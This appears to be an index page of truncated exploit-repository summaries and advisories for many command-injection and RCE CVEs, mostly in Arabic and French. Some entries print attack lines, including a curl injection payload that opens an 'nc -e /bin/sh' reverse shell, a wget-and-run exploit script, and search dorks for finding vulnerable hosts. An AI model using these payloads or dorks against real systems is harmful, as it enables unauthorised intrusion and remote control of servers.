CVE-2025-32375

إعداد الإصدار الضعيف. شغّل الحاوية الضعيفة: docker compose up أنشئ مستمعًا مثل ncat: ncat -klnv 1337 شغّل الاستغلال: python3 exploit.py يجب أن تستقبل طلب HTTP في نافذة ncat يتضمن مخرجات أمر نظام التشغيل id افتراضيًا إذا كان كل شيء يعمل كما هو متوقع. إشادات تم العثور على الثغرة بواسطة SeaW1nd...

CVE-2019-3929

CVE-2019-3929 وحدة Metasploit لثغرة حقن الأوامر عن بُعد Crestron/Barco/Extron/InFocus/TeqAV CVE-2019-3929 وفقًا لوصف Tenable: "يمكن لمهاجم عن بُعد غير مصادَق تنفيذ أوامر نظام التشغيل بصلاحيات الجذر عبر طلبات مصممة خصيصًا إلى نقطة نهاية HTTP filetransfer.cgi. يبدو أن هذه الثغرة تؤثر على جميع الأجه...

Important: Red Hat Security Advisory: vim security update

An update for vim is now available for Red Hat Enterprise Linux 10. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the...

vim: Vim: Arbitrary command execution via crafted tags file in C omni-completion

A flaw was found in Vim, an open-source command-line text editor. An attacker could craft a malicious tags file that, when processed by Vim's C omni-completion feature, leads to insufficient escaping of input. This vulnerability allows for the execution of arbitrary Ex commands and, subsequently,...

-CVE-2022-1609

CVE-2022-1609 Bash poc لـ CVE-2022-1609 WordPress Weblizar باب خلفي كيف يتم التثبيت؟ wget https://raw.githubusercontent.com/0xSojalSec/CVE-2022-1609/main/exploit.sh chmod +x exploit.sh ./exploit.sh كيف يتم الاستخدام؟ GH0ST3exP10it$ ./exploit.sh http://127.0.0.1:8080 + Targeting...

CVE-2025-14558

CVE-2025-14558 FreeBSD rtsold DNSSL حقن الأوامر RCE الوصف لا يتحقق rtsold8 من أسماء نطاقات DNSSL لرموز الصدفة الخاصة قبل تمريرها إلى resolvconf8. استبدال الأوامر عبر $ يمكن من تنفيذ التعليمات البرمجية عن بُعد من شبكة مجاورة. المتأثر: FreeBSD 13.x و14.x و15.x قبل 2025-12-16 الاستخدام sudo python3...

CVE-2023-1671

CVE-2023-1671 ثغرة RCE قبل المصادقة في Sophos Web Appliance إثبات المفهوم curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 " | base64"...

CVE-2019-15107

استغلال CVE-2019-15107 في Webmin CVE-2019-15107 تم اكتشاف مشكلة في Webmin =1.920. تحتوي المعلمة old في passwordchange.cgi على ثغرة حقن أوامر. NVD التجميع $ git clone https://github.com/whokilleddb/CVE-2019-15107 $ cd CVE-2019-15107 $ make مثال للاستخدام $ ./exploit http://thomaswreath.thm:10000 +...

CVE-2026-28672

CVE-2026-28672 — Injection de commande système dans Apache Ranger UnixUserGroupBuilder Reproducteur exécutable de preuve de concept pour l'injection de commande système dans le module user-sync unixusersync d'Apache Ranger. Lors de l'énumération des groupes de chaque utilisateur synchronisé,...

CVE-2026-10520

CVE-2026-10520 إيفانتي سينتري المعروف سابقًا باسم MobileIron Sentry هو بوابة أمنية للمؤسسات تقوم بوكالة حركة المرور بين الأجهزة المحمولة وموارد الخلفية المؤسسية: البريد الإلكتروني وSharePoint وتطبيقات الويب الداخلية. يفرض سياسات إدارة الأجهزة المحمولة MDM، وينهي جلسات الأجهزة المحمولة المشفرة،...

CVE-2018-6961

استغلال CVE-2018-6961 بلغة Python3 يحتوي VMware NSX SD-WAN Edge من VeloCloud قبل الإصدار 3.1.0 على ثغرة حقن أوامر في مكوّن واجهة الويب المحلية. هذا المكوّن معطَّل افتراضيًا ولا ينبغي تمكينه على الشبكات غير الموثوقة. ستقوم VeloCloud من VMware بإزالة هذه الخدمة من المنتج في الإصدارات المستقبلية. قد...

Drupalgedon3

POC لاستغلال دروبال SA-CORE-2018-004 / CVE-2018-7602 المؤلف Alexandre Nguyen الاستخدام usage: exploit.py -h --command --nodeid --url POC for Drupal vulnerability SA-CORE-2018-004 arguments: -h, --help show this help message and exit --command Command to inject --nodeid Node to target --url Drupal...

Exploit for Authentication Bypass Using an Alternate Path or Channel in Sangoma Freepbx

FreePBX-Breaker PoC y código automatizado para explotar CVE-20...

CVE-2023-0669

CVE-2023-0669 يعاني GoAnywhere MFT من ثغرة حقن أوامر قبل المصادقة في License Response Servlet بسبب إلغاء تسلسل كائن يتم التحكم فيه بشكل تعسفي من قبل المهاجم. 0x00 دورك shodan title:"GoAnywhere" FOFA title="GoAnywhere" 0x01 الاستخدام إصدار Java java -version openjdk version "1.8.0362" المساعدة jav...

CVE-2021-26084

CVE-2021-26084 CVE-2021-26084 تنفيذ التعليمات البرمجية عن بُعد على خوادم Confluence. دورك Fofa: app="ATLASSIAN-Confluence" الاستخدام عرض معلومات المساعدة. python PoC.py التحقق من الثغرة لمواقع فردية. python PoC.py -u https://1.1.1.1 تنفيذ الأوامر. python PoC.py -u https://1.1.1.1 -e 'cat...

git-clean-filter

This is a documented known issue, but I found this during my research & its pretty useful for RT/PT. Summary: The filter..clean directive in .git/config points at a script and .gitattributes binds that filter to a tracked file. Whenever git renders a real git diff of that file it runs the worktre...

HP-HPLIP-Mass-CVE-checker-2026-09-

massexploit — Vérificateur massif de CVE HP HPLIP 2026-09 Vérification massive et exploit de recherche pour le pilote HP HPLIP 3.26.6 — CVE-2026-91097 à CVE-2026-91106. CVE| CVSS 4| CWE| Distant ---|---|---|--- CVE-2026-91097| 7.0| CWE-787| oui UI CVE-2026-91098| 8.6| CWE-122| oui UI...

CVE-2002-0991

CVE-2002-0991 تجاوزات سعة المخزن المؤقت في أمر cifslogin لعميل HP CIFS/9000 الإصدار A.01.06 والإصدارات الأقدم منشور Exploit-db على https://www.exploit-db.com/exploits/21577/ منشور Packetstorm على https://packetstormsecurity.com/files/26303/cifslogin.txt.html منشور SecurityFocus على...

CVE-2025-69212-Exploit

CVE-2025-69212 - Exploit d'injection de commandes OpenSTAManager P7M Un script d'exploitation entièrement automatisé pour CVE-2025-69212 , une vulnérabilité d'injection de commandes dans OpenSTAManager. Ce script s'authentifie avec les identifiants administrateur, déploie un web shell PHP...

CVE-2002-0740

CVE-2002-0740 Vulnérabilité de dépassement de tampon du paramètre de ligne de commande du répertoire spool SLRNPull Publication Packetstorm à https://packetstormsecurity.com/files/25989/slrnpull.overflow.txt.html Publication Securiteam à http://www.securiteam.com/unixfocus/5FP0R0K6UC.html...